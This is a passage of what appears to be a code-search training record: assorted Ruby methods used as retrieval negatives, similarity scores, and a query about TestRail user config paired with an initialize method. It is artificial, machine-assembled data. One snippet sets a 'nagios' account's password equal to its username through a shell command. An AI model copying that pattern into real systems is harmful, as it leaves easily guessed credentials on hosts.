\"AppellantNotification.appeal_mapper\") do\n AppellantNotification.appeal_mapper(appeal.id, appeal.class.to_s, \"vso_ihp_complete\")\n end\n end\n end", "def dirty!\n @dirty = true\n end", "def dirty!\n @dirty = true\n end", "def prune_index\n# missing_files=index_time_dbm_file.reject{|filename,itime| File.exists?(filename) && Picolena::IndexedDirectories.any?{|dir,alias_path| filename.starts_with?(dir)}}\n# missing_files.each{|filename, itime|\n# index.writer.delete(:complete_path, filename)\n# index_time_dbm_file.delete(filename)\n# logger.debug \"Removed : #{filename}\"\n# }\n# index.optimize\n end", "def test_update_name_merge_with_misspellings\n login(\"rolf\")\n name1 = names(:lactarius_alpinus)\n name2 = names(:lactarius_alpigenes)\n name3 = names(:lactarius_kuehneri)\n name4 = names(:lactarius_subalpinus)\n\n # First: merge Y into X, where Y is misspelling of X\n name2.correct_spelling = name1\n name2.change_deprecated(true)\n name2.save\n assert_not(name1.correct_spelling)\n assert_not(name1.deprecated)\n assert(name2.correct_spelling == name1)\n assert(name2.deprecated)\n params = {\n id: name2.id,\n name: {\n text_name: name1.text_name,\n author: name1.author,\n rank: \"Species\",\n deprecated: \"true\"\n }\n }\n put(:update, params: params)\n assert_flash_success\n assert_redirected_to(name_path(name1.id))\n assert_no_emails\n assert_not(Name.exists?(name2.id))\n assert(name1.reload)\n assert_not(name1.correct_spelling)\n assert_not(name1.deprecated)\n\n # Second: merge Y into X, where X is misspelling of Y\n name1.correct_spelling = name3\n name1.change_deprecated(true)\n name1.save\n name3.correct_spelling = nil\n name3.change_deprecated(false)\n name3.save\n assert(name1.correct_spelling == name3)\n assert(name1.deprecated)\n assert_not(name3.correct_spelling)\n assert_not(name3.deprecated)\n params = {\n id: name3.id,\n name: {\n text_name: name1.text_name,\n author: name1.author,\n rank: \"Species\",\n deprecated: \"false\"\n }\n }\n put(:update, params: params)\n assert_flash_success\n assert_redirected_to(name_path(name1.id))\n assert_no_emails\n assert_not(Name.exists?(name3.id))\n assert(name1.reload)\n assert_not(name1.correct_spelling)\n assert(name1.deprecated)\n\n # Third: merge Y into X, where X is misspelling of Z\n name1.correct_spelling = Name.first\n name1.change_deprecated(true)\n name1.save\n name4.correct_spelling = nil\n name4.change_deprecated(false)\n name4.save\n assert(name1.correct_spelling)\n assert(name1.correct_spelling != name4)\n assert(name1.deprecated)\n assert_not(name4.correct_spelling)\n assert_not(name4.deprecated)\n params = {\n id: name4.id,\n name: {\n text_name: name1.text_name,\n author: name1.author,\n rank: \"Species\",\n deprecated: \"false\"\n }\n }\n put(:update, params: params)\n assert_flash_success\n assert_redirected_to(name_path(name1.id))\n assert_no_emails\n assert_not(Name.exists?(name4.id))\n assert(name1.reload)\n assert(name1.correct_spelling == Name.first)\n assert(name1.deprecated)\n end", "def flag_changes_for_after_commit\n @old_firm_id = firm_id_change.first if firm_id_changed?\n end", "def post_sync\n reset_movement\n reset_flags\n end", "def review_complete\n Task.transaction do\n Dispatch.new(task: task, vacols_note: vacols_note_params).update_vacols!\n task.complete!(status: 0)\n task.update_claim_establishment!\n end\n render json: {}\n end", "def undo \n if(@hasExecuted==true and (File::exist?(@newPath)))\n FileUtils.cp_r(@newPath, @ogPath)\n FileUtils::rm_r(@newPath)\n @hasExecuted=false\n end\n end", "def mark_unchanged\r\n @changed = false\r\n end", "def lock!\n map.each do |key, matchers|\n matchers.each do |matcher|\n matcher[:locked] = true\n end\n end\n @locked = true\n end", "def remove_mapping\n @renderer = Renderer.find params[:id]\n @renderer.remove_mapping params[:position].to_i\n render :text => 'foo'\n end", "def obsolete!\n update!(:revision => -1)\n end", "def reset_marking_states(assessment_id)\n Result.joins(submission: :grouping)\n .where('submissions.submission_version_used': true, 'groupings.assessment_id': assessment_id)\n .each do |result|\n result.update(marking_state: Result::MARKING_STATES[:incomplete])\n end\n end", "def commit_if_delete_dirty\n # no op\n end", "def rollout(percent_to_update)\n\n# load 'data.csv' and 'finalstage.csv' to separate hashes so that regardless of\n# the input field order the required output format can be achieved\n\n #\n # -Get all the old stuff and all the new stuff to combine together\n #\n csv_data = CSV.read 'update-data-regen.csv';\n headers = csv_data.shift;\n rhash = csv_data.map { |row| Hash[*headers.zip(row).flatten] };\n\n csv_data = CSV.read 'original-data.csv';\n headers = csv_data.shift;\n rhash_old = csv_data.map { |row| Hash[*headers.zip(row).flatten] };\n\n number_of_records = (rhash.count() * (percent_to_update.to_f()/100)).floor()\n rhash_new = {}\n ids_hash = {}\n\n #\n # -Add the new stuff\n # -Fix those labels\n #\n number_of_records.times do |index|\n ids_hash[rhash[index][\"id\"]] = \"\";\n rhash_new[index] = rhash[index]\n end\n\n rhash_new.each_with_index do |record,index|\n record = record.pop\n rollout_label = \"\"\n\n if(record['label'])\n labels = record['label'].split\n labels.each do |label|\n rollout_label += ((ids_hash[label]) ? label : @revxref[label]) + \" \"\n end\n end\n rhash_new[index]['label'] = rollout_label\n\n target = rhash_new[index]\n\n if target['options']\n code = target['code']\n opts = target['options']\n code.gsub! /(^\\w*?);/, '\\1tmp;'\n code.gsub! /\\((\\w*?)\\)/, '(\\1tmp)'\n code.gsub!(/=(\\w*?)(&|$)/, '=\\1tmp\\2')\n opts.gsub! /\\((\\w*?)\\)/, '(\\1tmp)'\n else\n target['code'].gsub! /$/, 'tmp'\n end\n\n end\n\n #\n # -Chop off what we just did and now the old array has to be fixed\n # -Fix the labels and add the fixed records to the new hash\n #\n to_delete = rhash_old.shift(number_of_records)\n\n rhash_old.each_index do |index|\n record = rhash_old[index]\n rollout_label = \"\"\n\n if(record['label'])\n labels = record['label'].split\n labels.each do |label|\n rollout_label += ((ids_hash[@xref[label]]) ? @xref[label] : label) + \" \"\n end\n end\n rhash_old[index]['label'] = rollout_label\n rhash_new[rhash_new.count+1] = rhash_old[index]\n end\n\n #\n # -Remove problematic data - ie 'code', 'options', etc from obsolete records\n # -Update path of obsolete records to place them in 'TODELETE' section\n #\n\n to_delete.each_index do |td|\n # -to update the 'code' and 'options' data I'll have to parse and update\n # this: see <to_delete-notes.txt>\n target = to_delete[td]\n\n if target['options']\n code = target['code']\n opts = target['options']\n code.gsub! /(^\\w*?);/, '\\1old;'\n code.gsub! /\\((\\w*?)\\)/, '(\\1old)'\n code.gsub!(/=(\\w*?)(&|$)/, '=\\1old\\2')\n opts.gsub! /\\((\\w*?)\\)/, '(\\1old)'\n else\n target['code'].gsub! /$/, 'old'\n end\n\n target['path'] = 'TODELETE'\n\n # then put the processed original data record back into the output array\n rhash_new[rhash_new.count+1] = target\n end\n#\n###############################################################################\n# TODO - need to pick out the rollout redirects, which ones?\n# TODO - prepare the pictures for upload - should I preserve the original images\n# for the TODELETE set? Original data doesn't have images, does it?\n###############################################################################\n#\n #binding.pry\n\n #\n # -Output to csv file\n # - but first specify the exact fields and field order for the output\n #\n\n keys = \"id code abstract sale-price product-url headline isbn orderable\n google-base-product-type options ship-weight page-title taxable\n availability description family price merchant-category condition\n path gift-certificate label manufacturer-part-number caption keywords\n brand upc name inset icon additional-image-1 additional-image-2\n additional-image-3 image download leaf\".split\n\n rollout_csv = CSV.open('rollout_data.csv', 'wb')\n # keys = rhash_new.first[1].keys\n rollout_csv << keys\n rhash_new.each do |record|\n\n row = []\n keys.each do |key|\n row.push record[1][key]\n end\n rollout_csv << row\n end\n rollout_csv.close\nend", "def final_update_record(record,jobacct)\n # do nothing\n end", "def penalty_swap\n swap_start_finish do\n update_columns(start: start, finish: finish) if persisted?\n end\n end", "def undo \n if(@hasExecuted==true and (File::exist?(@newPath)))\n File::delete(@newPath)\n @hasExecuted=false\n end\n end", "def save_and_remove_all(map_id, round)\n records = @store.where(map_id: map_id, round: round)\n uncommitted = records.map { |record| record.link }\n\n unless records.empty?\n records.each do |record|\n previous = SubmissionViewingEvent.where(\n map_id: record.map_id,\n round: record.round,\n link: record.link\n ).first\n\n if previous\n # make sure to add the total time on this record\n # with what may have already been in the database\n previous.update_attribute(:total_time, record.merge(event))\n else\n # if a previous record doesn't exist,\n # we can delegate saving to `LocalStorage`\n @store.hard_save(record)\n end\n\n # once the data is updated or added to the database,\n # remove it from `LocalStorage`\n @store.remove(record)\n end\n end\n\n uncommitted\n end", "def complete!\n self.completed = true\n self.completed_at = Time.now.utc\n save! # TODO: With a bang?\n end", "def abandon_results!()\n #This is a stub, used for indexing\n end", "def update_projectiles\n\t\t@projectiles.delete_if do |projectile|\n\t\t\tprojectile.move\n\t\t\tprojectile.out_of_bounds\n\t\tend\n\tend", "def batch_replace(docs)\n if docs.blank?\n if _assigning? && !empty?\n _base.delayed_atomic_sets.delete(path)\n clear_atomic_path_cache\n _base.add_atomic_unset(first)\n target_duplicate = _target.dup\n pre_process_batch_remove(target_duplicate, :delete)\n post_process_batch_remove(target_duplicate, :delete)\n else\n batch_remove(_target.dup)\n end\n elsif _target != docs\n _base.delayed_atomic_sets.delete(path) unless _assigning?\n docs = normalize_docs(docs).compact\n _target.clear and _unscoped.clear\n _base.delayed_atomic_unsets.delete(path)\n clear_atomic_path_cache\n inserts = execute_batch_set(docs)\n add_atomic_sets(inserts)\n end\n end", "def flush_all(pd=nil)\n\t\tlog(\"Applying all pending annotations...\")\n\t\t\n\t\tindex = 0\n\t\t@pending_tagging.each do |tag,pending_items|\n\t\t\tindex += 1\n\t\t\tif !pd.nil?\n\t\t\t\tpd.setMainProgress(index,@pending_tagging.size)\n\t\t\t\tpd.setSubStatus(\"#{index}/#{@pending_tagging.size}\")\n\t\t\t\tbreak if pd.abortWasRequested\n\t\t\tend\n\t\t\tif pending_items.size >= 1\n\t\t\t\tlog(\"Applying tag '#{tag}' to #{pending_items.size} items\")\n\t\t\t\t$utilities.getBulkAnnotater.addTag(tag,pending_items)\n\t\t\t\t@pending_tagging[tag] = []\n\t\t\tend\n\t\tend\n\n\t\t@pending_custom_metadata.each do |field_name,value_grouped|\n\t\t\tbreak if !pd.nil? && pd.abortWasRequested\n\t\t\tindex = 0\n\t\t\tvalue_grouped.each do |value,pending_items|\n\t\t\t\tindex += 1\n\t\t\t\tif !pd.nil?\n\t\t\t\t\tpd.setMainProgress(index,value_grouped.size)\n\t\t\t\t\tpd.setSubStatus(\"#{index}/#{value_grouped.size}\")\n\t\t\t\t\tbreak if pd.abortWasRequested\n\t\t\t\tend\n\t\t\t\tif pending_items.size >= 1\n\t\t\t\t\tlog(\"Applying field '#{field_name}' to #{pending_items.size} items\")\n\t\t\t\t\t$utilities.getBulkAnnotater.putCustomMetadata(field_name,value,pending_items,nil)\n\t\t\t\t\t@pending_custom_metadata[field_name][value] = []\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend", "def clear_changes_information\n @mutations_before_last_save = nil\n forget_attribute_assignments\n @mutations_from_database = nil\n end", "def dirty!\n @dirty = true\n end", "def finish()\n #This is a stub, used for indexing\n end", "def after_commit(unit); end", "def mark_as_obsolete\n if source == 'archivesspace'\n replacement_items = []\n\n item_orders.each do |io|\n return_items = io.update_archivesspace_item\n replacement_items += return_items\n end\n\n eligible_for_obsolete = !replacement_items.include?(self)\n else\n raise CircaExceptions::BadRequest,\n \"The item could not be marked as obsolete this only applies to items created from ArchivesSpace records.\"\n end\n\n puts eligible_for_obsolete ? \"Item is eligible to be made obsolete\" :\n \"Item is NOT eligible to be made obsolete\"\n\n if eligible_for_obsolete\n update_columns(current_location_id: nil, permanent_location_id: nil, obsolete: true)\n item_orders.each do |io|\n io.update_columns(archivesspace_uri: nil, active: false)\n end\n update_index\n else\n raise CircaExceptions::BadRequest,\n \"The item could not be marked as obsolete because one or more of the\n ArchivesSpace URIs associated with it still return a record with\n container information matching that of the item.\"\n end\n end", "def remove_db_updated_results\n result_array.delete_if { |res_hash| DB_UPDATED_CODES.include?(res_hash.keys.first) }\n end", "def update\n #@readonly_task = ReadonlyTask.find(params[:id])\n result = ''\n\n ReadonlyTask.transaction do\n all_tasks = ReadonlyTask.all\n ReadonlyTask.all.each do |rt|\n rt.destroy\n end\n\n unless params[:task_ids].blank?\n params[:task_ids].each do |task_id|\n\n unless task_id_in_readonly_task(all_tasks, task_id)\n task = Task.find(task_id.to_i)\n result += \"-------------------\\n\"\n result += \"Packages moved to state 'Already Released':\\n\"\n result += ReadonlyTask.move_other_packages_to_already_released(task_id.to_i)\n result += \"-------------------\\n\"\n task.active = nil\n task.frozen_state = \"1\"\n task.save\n end\n\n rt = ReadonlyTask.new\n rt.task_id = task_id.to_i\n rt.save\n end\n end\n end\n\n respond_to do |format|\n #if @readonly_task.update_attributes(params[:readonly_task])\n format.html do\n notice ='ReadonlyTask was successfully updated.'\n unless result.blank?\n notice += \"\\n\" + result\n end\n redirect_to(readonly_tasks_path,\n :notice => notice.gsub(\"\\n\", \"<br/>\"))\n end\n end\n end", "def apply_badgings\r\n if @badging_list\r\n @badging_list.map { |badging| badging.save! }\r\n end\r\n end" ]
[ "0.5973264", "0.5634405", "0.5570432", "0.54431766", "0.5424279", "0.5372686", "0.5367098", "0.5218875", "0.5159295", "0.51274323", "0.5116516", "0.5055448", "0.5043109", "0.500815", "0.49866515", "0.4980493", "0.49610144", "0.4958997", "0.4958873", "0.49270946", "0.4919359", "0.49142772", "0.4907779", "0.48975965", "0.4868414", "0.48638773", "0.48548084", "0.48516864", "0.48424357", "0.4811844", "0.48073083", "0.4806317", "0.48052707", "0.48049274", "0.48024356", "0.4788257", "0.4785706", "0.47806525", "0.477854", "0.47734183", "0.476785", "0.47641557", "0.47569552", "0.4754443", "0.47458288", "0.47374704", "0.4736365", "0.47293133", "0.47223157", "0.47186434", "0.47106376", "0.47099605", "0.47057354", "0.47054774", "0.4701818", "0.47002804", "0.47002804", "0.469515", "0.46913725", "0.46814144", "0.46650594", "0.46609294", "0.4653508", "0.46532422", "0.46421495", "0.46311638", "0.46304038", "0.4629479", "0.46290857", "0.46290857", "0.46231583", "0.46230975", "0.46207973", "0.46198356", "0.46168327", "0.46124923", "0.46079415", "0.46078572", "0.45997092", "0.45971826", "0.45971668", "0.4596766", "0.45956716", "0.45942873", "0.4583664", "0.45770645", "0.4574296", "0.45674196", "0.45655283", "0.45644462", "0.45592365", "0.45553213", "0.45522994", "0.4551834", "0.45497167", "0.4548679", "0.45407102", "0.45401174", "0.45279846", "0.45262042" ]
0.8321124
0
TestRail information about user in config file.
def initialize(config=nil) super() read_config(config) if !config.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_configuration\n @user_configuration ||=\n begin\n path = File.join(::Rails.root, 'config', 'sunspot.yml')\n if File.exist?(path)\n File.open(path) do |file|\n processed = ERB.new(file.read).result\n YAML.load(processed)[::Rails.env]\n end\n else\n {}\n end\n end\n end", "def user\n conf['api']['user']\n end", "def user_configuration\n @user_configuration ||=\n begin\n path = File.join(::Rails.root, 'config', 'sunspot.yml')\n if File.exist?(path)\n File.open(path) do |file|\n YAML.load(file)[::Rails.env]\n end\n end\n end\n end", "def user_configuration\n @user_configuration ||= begin\n path = File.join(::Rails.root, 'config', 'piwik.yml')\n if File.exist?(path)\n File.open(path) do |file|\n processed = ERB.new(file.read).result\n YAML.load(processed)[::Rails.env]['piwik']\n end\n else\n {}\n end\n end\n end", "def load_config()\n rspec_file = '.rspec'\n full_config = YAML::load(File.open('./config/users.yaml')) # full YML\n puts \"\\n>Loaded user configuration for: \" + ENV['env_name'].to_s # only section of YML that is relevant for the particular environment\n return full_config[ENV['env_name']] # only section of YML that is relevant for the particular environment\nend", "def username\n @config['username']\n end", "def user\n conf['dashboard']['user']\n end", "def list_users\n abort \"You have no users within your config file!\".yellow if config.empty?\n puts \"\\nUser Configuration\"\n config.each do |k, v|\n next if k == 'current_user'\n puts \"\\nEnvironment: #{k}\"\n print_hash_values v\n end\n\n list_current_user if current_user_exists?\n end", "def user_info\n response = from_server \"api/user.json\"\n response.data\n end", "def user_info\n auth_hash['user_info']\n end", "def user_for_conf_snippet(config)\n user = config[:user]\n if user.to_i > 0\n user = User.active.find(user)\n elsif user.is_a? String\n user = User.active.find_by_email(user)\n end\n\n app_type = config[:app_type]\n user = User.use_batch_user(app_type) if user.nil? && app_type\n user\n end", "def lab_user\n Cucumber::Chef::Config[Cucumber::Chef::Config.provider][:lab_user]\n end", "def username\n @config[\"username\"]\n end", "def user_id; config[:user_id]; end", "def auth_info_from_file\n os = Config::CONFIG[\"host_os\"]\n if os =~ /darwin/\n info = YAML.load_file(\"/Users/#{ENV[\"USER\"]}/.dhl_info.yml\")\n else \n info = YAML.load_file(\"/home/#{ENV[\"USER\"]}/.dhl_info.yml\")\n end\n info\n end", "def user\n return @user ? @user : Dotfu.config_user\n end", "def user\n return config[:user] unless config[:user].nil?\n\n require \"train/transports/ssh\"\n Train::Transports::SSH.default_options[:user][:default]\n end", "def check_config_data(config)\n assert_equal(:CLIENTLOGIN, config.read('authentication.method'))\n assert_equal('ruby_test_suit',\n config.read('authentication.application_name'))\n assert_equal('mySecretPassword', config.read('authentication.password'))\n assert_equal('root@example.com', config.read('authentication.email'))\n assert_equal(1234567, config.read('authentication.network_code'))\n assert_equal(:SANDBOX, config.read('service.environment'))\n assert_nil(config.read('item.not.exists'))\n assert_equal(:default, config.read('item.not.exists', :default))\n end", "def userinfo\n unless defined?(@userinfo)\n @userinfo = solr_url.userinfo if solr_url\n user = user_configuration_from_key('solr', 'user')\n pass = user_configuration_from_key('solr', 'pass')\n @userinfo ||= [ user, pass ].compact.join(\":\") if user && pass\n @userinfo ||= default_userinfo\n end\n @userinfo\n end", "def capture_user_data\n\n # add a user config row entry\n user_data = Userconfig.new(username: session[:userinfo].blank? ? \"\" : session[:userinfo]['info']['name'],\n date: DateTime.now,\n company: session[:company],\n okta: session[:okta] == \"on\" ? true : false,\n logo_url: session[:logo],\n home_url: session[:background],\n vault: true,\n resources: session[:resources] == \"on\" ? true : false,\n onboarding_tasks: session[:onboarding] == \"on\" ? true : false,\n medical_credentialing: session[:medical_credentialing] == \"on\" ? true : false,\n loan_origination: session[:loan_docs] == \"on\" ? true : false,\n upload_sign: session[:upload_sign] == \"on\" ? true : false,\n tax_return: session[:tax_return] == \"on\" ? true : false,\n submit_claim: session[:create_claim] == \"on\" ? true : false,\n eventstream: session[:eventstream] == \"on\" ? true : false)\n user_data.save\n end", "def userinfo\n if @user.nil?\n nil\n elsif @password.nil?\n @user\n else\n @user + ':' + @password\n end\n end", "def user_info\n @user_info ||= raw_info\n end", "def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend", "def user_info\n {\n 'nickname' => user_hash['NickName'],\n 'name' => user_hash['NickName']\n }\n end", "def puppet_user(host)\n puppet_config(host, 'user', section: 'master')\n end", "def config\n info['Config']\n end", "def user\n Reggora::Resources::User.new(config)\n end", "def user_config(key)\n Autoproj.user_config(key)\nend", "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info\n end", "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info\n end", "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info[\"person\"]\n end", "def user_information\n { \"username\": @user.username, \"email\": @user.email, \"id\": @user.id }\n end", "def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end", "def user_id\n config.present? ? config[:user_id] : ''\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end", "def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end", "def test_config\n load_config\n assert(@config.key?('user'))\n assert(@config.key?('pass'))\n assert(@config.key?('port'))\n assert(@config.key?('uri'))\n assert(@config.key?('callback_host'))\n assert(@config.key?('autopwn_url'))\n end", "def info()\n _params = {}\n return @master.call 'users/info', _params\n end", "def user \n @user ||= @repo.config.username\n end", "def get_user_info\n response = HTTParty.get(\n \"https://api.github.com/user\",\n :headers => {\n \"Authorization\" => \"Bearer #{session[:access_token]}\",\n \"User-Agent\" => \"OAuth Test App\"\n }\n )\n session[:email] = response[\"email\"]\n session[:name] = response[\"name\"]\n session[:user_image] = response[\"avatar_url\"]\n session[:provider] = \"GitHub\"\n end", "def user_info\n\t\t@user_info ||= fetch_latest_user_info\n\tend", "def chef_user\n Cucumber::Chef::Config.user\n end", "def user\n @user ||= @repo.config.username\n end", "def user\n ActiveScaffold::Registry.user_settings[user_settings_key]\n end", "def info()\n get(:session, {:method => \"user.getInfo\"})\n end", "def userinfo\n @participant = Participant.find(session[:user])\n end", "def get_user_info\n response = send_method(:get_user_info)\n user_from(response)\n end", "def initialize(users_config, log_location = STDOUT)\n raise \"File #{users_config} does not exist\" unless File.exist?(users_config)\n @users_config = YAML.safe_load(File.read(users_config))\n @user_group = users_config.split(\"/\")[-1].remove!(\".yml\")\n @logger = Logger.new(log_location)\n @logger.level = Logger::DEBUG\n @logger.info \"Initializing new user setup with users file #{users_config}\"\n end", "def user\n return ENV['USER']\n end", "def configUsers\n `useradd nagios`\n `echo nagios | passwd nagios --stdin`\n end", "def get_user_info\n userTokenInfo = request.env['oauth.token']\n @user = userTokenInfo.user\n end", "def userinfo\n object.fetch(:userinfo) {\n @object[:userinfo] = (format_userinfo(\"\") if @object[:user])\n }\n end", "def getUserDetails\n\t\tuser = java.util.HashMap.new()\n\t\t# user name\n\t\tuser.put(KEY_NAME, @pref.getString(KEY_NAME, nil))\n\t\t\n\t\t# user email id\n\t\tuser.put(KEY_EMAIL, @pref.getString(KEY_EMAIL, nil))\n\t\t\n\t\t# return user\n\t\treturn user;\n\tend", "def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info['query']['results'][\"profile\"]\n end", "def setup\n @user = users(:brock)\n end", "def user_info(user_oauth_token)\n api_post(@user_info_url, user_oauth_token)\n end", "def ci_user_email\n ENV[\"FASTLANE_CI_USER\"]\n end", "def email\n connect\n user = self.class.query('CMD_API_SHOW_USER_CONFIG',\n :user => resource[:username]\n )\n return user[\"email\"]\n end", "def get_user(username)\n Chef::Log.info username\n user = @node[:users][username]\n Chef::Log.info user.inspect\n user\nend", "def get_user_conf(name, profile = 'default')\n return @config.find(name, profile) if @config\n @config = make_user_conf\n msg = 'Run the command `configure`'\n raise Idcf::Cli::CliError, msg unless @config\n\n @config.find(name, profile)\n end", "def user=(value)\n conf['api']['user'] = value\n end", "def basic_info\n\t\t#Grab some basic info using OID values which should be fairly generic in nature\n\t\ttarget = \"#{@manager.config[:host]}:#{@manager.config[:port]}\"\n\t\tcstring = @manager.config[:community]\n\t\t@snmp_version = @manager.config[:version] #We need this one later for some decisions so setting to class var\n\t\tsys_name = @manager.get_value(\"sysName.0\")\n\t\tsys_descr = @manager.get_value(\"sysDescr.0\")\n\n\t\t#Print out our basic info for user\n\t\tputs \"[*] \".light_green + \"Target\".light_yellow + \": #{target}\".white\n\t\tputs \"[*] \".light_green + \"Community String\".light_yellow + \": #{cstring}\".white\n\t\tif @snmp_version\n\t\t\tputs \"[*] \".light_green + \"SNMP Version\".light_yellow + \": #{@snmp_version}\".white\n\t\telse\n\t\t\tprint_caution(\"Unable to determine SNMP Version in use?\")\n\t\tend\n\t\tif sys_name\n\t\t\tputs \"[*] \".light_green + \"System Name\".light_yellow + \": #{sys_name}\".white\n\t\telse\n\t\t\tprint_error(\"Unable to determine system name!\")\n\t\tend\n\t\tif sys_descr\n\t\t\tputs \"[*] \".light_green + \"System Description\".light_yellow + \": \\n#{sys_descr}\".white\n\t\telse\n\t\t\tprint_error(\"Unable to find system description!\")\n\t\tend\n\t\tif @sys_time\n\t\t\tputs \"[*] \".light_green + \"System Uptime\".light_yellow + \": #{@sys_time}\".white\n\t\telse\n\t\t\tprint_error(\"Unable to find system description!\")\n\t\tend\n\tend", "def get_user(name)\n @file = \"/private/var/db/dslocal/nodes//#{resource[:dslocal_node]}/users/#{name}.plist\"\n NSMutableDictionary.dictionaryWithContentsOfFile(@file)\n end", "def config\n overview[\"config\"]\n end", "def user\n ENV['SERVER_USER']\n end", "def config\n {\n :nagyo_host => \"http://0.0.0.0:3000\",\n :nagyo_auth_token => 'nagyo-token-test-user'\n }\n end", "def configured_credentials\n running_config.scan(/(username.*?)$/m).flatten.map(&:strip!)\n end", "def auth\n cfg_get(:auth)\n end", "def user\n @user ||= opts.fetch(:user, parsed_opt('user'))\n end", "def config( user_email, user_name )\n\n log.info(x) { \"[git] local config for user.email => #{user_email}\" }\n log.info(x) { \"[git] local config for user.name => #{user_name}\" }\n path_to_dot_git = File.join( @git_folder_path, \".git\" )\n git_config_email_cmd = \"git --git-dir=#{path_to_dot_git} --work-tree=#{@git_folder_path} config --local user.email \\\"#{user_email}\\\";\"\n git_config_name_cmd = \"git --git-dir=#{path_to_dot_git} --work-tree=#{@git_folder_path} config --local user.name \\\"#{user_name}\\\";\"\n log.info(x) { \"[git] configure user.email command => #{git_config_email_cmd}\" }\n log.info(x) { \"[git] configure user.name command => #{git_config_name_cmd}\" }\n %x[#{git_config_email_cmd}];\n %x[#{git_config_name_cmd}];\n log.info(x) { \"[git] has locally configured the user.email and user.name properties.\" }\n\n end", "def database_config(db)\n puts \"database config called for #{db}\"\n database = YAML::load_file('config/database.yml')\n return (database[\"#{db}\"]['username'] || database[\"#{db}\"]['user']), database[\"#{db}\"]['password'], database[\"#{db}\"]['database'], database[\"#{db}\"]['host']\nend", "def login_from_config\n self.current_user = User.find(BETY_USER) if defined? BETY_USER\n end", "def fetch_username_and_database\n conf = YAML::load_file(File.expand_path('../../../config/database.yml', __FILE__))\n dbenv = conf[Rails.env]\n [dbenv['username'], dbenv['database']]\n end", "def print_details\n puts '=================: User-details: ============'\n puts \"Email-address: #{email}\"\n puts \"Domain name: #{domain}\"\n puts \"Domain owner: #{username}\"\n @trueuser = `grep -w \\^#{username} /etc/trueuserowners|cut -d\\: -f2|uniq`.chomp\n puts 'True owner: ' + `grep -w #{@trueuser}$ /etc/trueuserdomains|uniq` if @trueuser != 'root'\n puts '============================================'\n end", "def set_userconfig\n @userconfig = Userconfig.find(params[:id])\n end", "def find_user_setting\n\t\t# find the user setting\n\t\t@user = devise_current_user.profile_setting\n\tend", "def setup\n \n @user = users(:david)\n \n end", "def setup\n @user = users(:tommy)\n end", "def load_user(filepath)\n $user = load_yaml(filepath)\nend", "def info\n {\n email: username\n }\n end", "def user\n self.test_session.user\n end", "def user_data\n User.user_data login\n end", "def get_user_info user\n unless user.known_user.nil?\n known_user = user.known_user\n is_me = known_user.is_current_user || false\n return is_me ? \"people/me\" : known_user.person_name\n end\n get_one_of user\nend", "def user\n metadata&.dig('event', 'user')\n end", "def get_user(id)\n @client.raw('get', \"/config/users/#{id}\")\n end", "def setup\n @user = users(:michael)\n end", "def check\n api.get_user\n end", "def set_user_info\n response = Request.send_request_action(action: \"index\", cookie: @cookie)\n @authkey = response[:response][\"authkey\"]\n @passkey = response[:response][\"passkey\"]\n @user_id = response[:response][\"id\"]\n end", "def user=(value)\n conf['dashboard']['user'] = value\n end", "def read_settings\n\t\t\t\tread = nil\n\t\t\t\tif File.exist?(\"#{Notify_yaml}\")\n\t\t\t\t\tldconfig = YAML.load_file(\"#{Notify_yaml}\")\n\t\t\t\t\t@webhook_url = ldconfig['webhook_url']\n\t\t\t\t\t@user_name = ldconfig['user_name']\n\t\t\t\t\tread = true\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You must create a YAML File with the options\")\n\t\t\t\t\tprint_error(\"as: #{Notify_yaml}\")\n\t\t\t\t\treturn read\n\t\t\t\tend\n\t\t\t\treturn read\n\t\t\tend", "def _io_user_data(username)\n (node['etc'] && node['etc']['passwd'] && node['etc']['passwd'][username]) || {\n 'uid' => username,\n 'gid' => username,\n 'dir' => \"/home/#{username}\"\n }\nend", "def find_user_setting\n\t\t# find the user setting\n\t\t@user = current_user.profile_setting\n\tend", "def loadUser(userName)\n if(userName == nil)\n return nil\n end\n userFile = @CONFIG_ROOT+@CONFIG_REST_PATH+userName+\".yaml\"\n if File.exist?(userFile)\n user = YAML.load_file(userFile)\n #puts \"User: #{user}\"\n return user\n end\n return nil\n end", "def auth\n cfg_get(:auth)\n end", "def has_configuration?\n @config[:username] and @config[:password]\n end", "def getTestSettings()\n\n [:accounts, :browser, :host, :userid, :password].each do |k|\n\n puts __FILE__ + (__LINE__).to_s + \" opt[test_config].has_key(#{k.to_s}) => #{@options[:test_config].has_key?(k.to_s)}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n\n puts __FILE__ + (__LINE__).to_s + \" options[#{k}] : #{@options[k].to_s}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n if @options.has_key?(k) && !@options[k].nil?\n Scoutui::Base::UserVars.instance.set(k, @options[k].to_s)\n elsif @options[:test_config].has_key?(k.to_s)\n\n puts __FILE__ + (__LINE__).to_s + \" opts[#{k}].nil => #{@options[k].nil?}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n # Ensure commnand line takes precedence\n if !@options[k].nil?\n puts __FILE__ + (__LINE__).to_s + \" opt[#{k.to_s} => #{@options[k].to_s}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n Scoutui::Base::UserVars.instance.set(k, @options[k].to_s)\n else\n Scoutui::Base::UserVars.instance.set(k, @options[:test_config][k.to_s].to_s)\n end\n\n elsif @env_list.has_key?(k)\n # If an ENV is available, use it.\n puts __FILE__ + (__LINE__).to_s + \" #{k} => ENV(#{@env_list[k]}) = #{ENV[@env_list[k].to_s]}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n Scoutui::Base::UserVars.instance.set(k, ENV[@env_list[k].to_s])\n end\n end\n\n puts __FILE__ + (__LINE__).to_s + \" test_config => #{@options[:test_config]}\" if Scoutui::Utils::TestUtils.instance.isDebug?\n\n\n # Applitools Eyes settings\n if 